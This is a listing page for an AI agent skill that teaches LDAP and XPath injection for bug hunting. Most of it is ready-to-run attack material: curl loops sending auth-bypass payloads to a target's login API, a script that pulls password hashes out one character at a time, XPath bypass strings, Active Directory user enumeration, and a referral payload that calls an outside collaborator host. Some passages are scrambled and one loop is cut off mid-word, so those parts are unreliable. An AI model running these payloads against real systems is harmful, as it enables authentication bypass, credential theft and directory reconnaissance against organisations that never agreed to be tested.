hunt-ldap skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunt LDAP Injection and XPath Injection — authentication bypass, blind char-by-char attribute exfiltration, AD user/group enumeration, XML-store XPath bypass. Covers the LDAP special-character set (* ( ) \\ NUL /), search-filter-context vs DN-injection, parenthesis-balancing, AND/OR filter logic, and {SSHA}/{CRYPT} userPassword exfil on non-AD directories. Use when target uses LDAP/AD authentication, corporate SSO with a directory backend, an address-book/people-search API, or XML-based data stores queried with XPath.

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Install the hunt-ldap skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-ldap ~/.claude/skills/hunt-ldap

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

HUNT-LDAP — LDAP Injection & XPath Injection

Grounding note: LDAP injection is rarely disclosed with verbatim payloads on

public platforms (most live on internal-pentest reports). This skill is

grounded in the **OWASP LDAP Injection Prevention / Testing Guide

(WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection)**, and

the RFC 4515 filter grammar — all publicly verifiable references rather

than invented HackerOne IDs. Do not cite a report you cannot link.

Crown Jewel Targets

LDAP injection that bypasses authentication = Critical. Blind attribute exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.

Highest-value chains:

bind/search returns the admin entry without a valid password.

LDAP auth bypass — close the uid filter and append an always-true OR so the

boolean oracle (login success/failure, result count, or response length).

Blind attribute exfil — char-by-char extraction of an attribute value via a

userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable by query. See the AD-vs-generic warning below.

userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the

XPath injection auth bypass — ' or '1'='1 against XML-backed auth.

CRITICAL — Active Directory vs generic LDAP

Do not conflate the two. They behave very differently:

Do not tell a reader that blind LDAP injection yields AD password hashes — it does not. unicodePwd is write-only. Against AD, the win is enumeration (sAMAccountName, memberOf, description/info fields that admins misuse to store passwords) and auth bypass — not hash dumping. The hash-exfil technique applies only to non-AD directories exposing userPassword.

Attack Surface Signals

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP filter grammar (RFC 4515) — why injection works

A login filter is typically built by string-concat:

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the operator comes first and every sub-filter is parenthesised. To inject you must (a) escape the current (uid=...) group, (b) inject your own logic, and (c) leave the overall parenthesis count balanced or the server throws a filter-syntax error instead of executing.

The special-character set — TEST EACH ONE

These characters are syntactically meaningful and MUST be escaped by a safe app (RFC 4515 §3). If the app reflects an error or behaves differently when you send them raw, the input is unescaped → injectable:

Search-filter context vs DN injection are different bugs:

(attr=VALUE) filter. Payloads use * ( ) & | !.

Search-filter injection (most common): your input lands inside a

(uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and / matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.

DN injection: your input is concatenated into a Distinguished Name

Step-by-Step Hunting Methodology

Phase 1 — Confirm an LDAP backend (baseline first)

# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

A lone ) that produces a syntax error/500 while a balanced payload does not is the cleanest LDAP-injection tell — note it, you will need it as proof.

Phase 2 — Auth-bypass payloads (balance your parentheses)

# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  ech

Parenthesis-balancing rule of thumb: count ( minus ) in the resulting full filter, not just your payload. If the app appends )(userPassword=...)) after your input, leave the right number of trailing ) so the final string is balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).

Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)

Raw sizedownload diffing is noise-prone (WAF banners, CSRF tokens, timestamps, length-jitter on the injected char itself). Use a paired true/false control so the oracle is the response*, not the absolute size.

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

False-positive guards for blind exfil:

from the attacker-controlled char itself is the #1 false positive.

Repeat each positive char 3x and confirm the size is stable — length-jitter

app didn't just start erroring on every request — WAF block looks like a match).

Confirm the FALSE control still returns the FALSE size after each round (the

marker string ("Invalid credentials" present/absent), or timing** with a heavy filter — but only after establishing a stable baseline delta.

If body length is unreliable, switch the oracle to HTTP status, a **body

Phase 4 — XPath injection (XML-backed auth)

# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
  "' or '1'='1"
  "' or ''='"
  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
  "*[contains(name(),'pass')]"          # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
  R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    --data-urlencode "username=$P" --data-urlencode "password=x")
  echo "$P  ->  ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.

Phase 5 — AD enumeration via wildcard (count oracle, with control)

# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl -s -X POST https://$TARGET/api/directory/search \
  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
#   (description=*pw*)   (description=*pass*)   — admins stash secrets here

Phase 6 — Tooling & OOB confirmation

# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.

Chain Table

AD has no readable password attribute — do not list "extract AD hashes" as a

chain. Against AD, the credential win comes from description/info misuse or

from enumerated usernames feeding a spray, never from unicodePwd.

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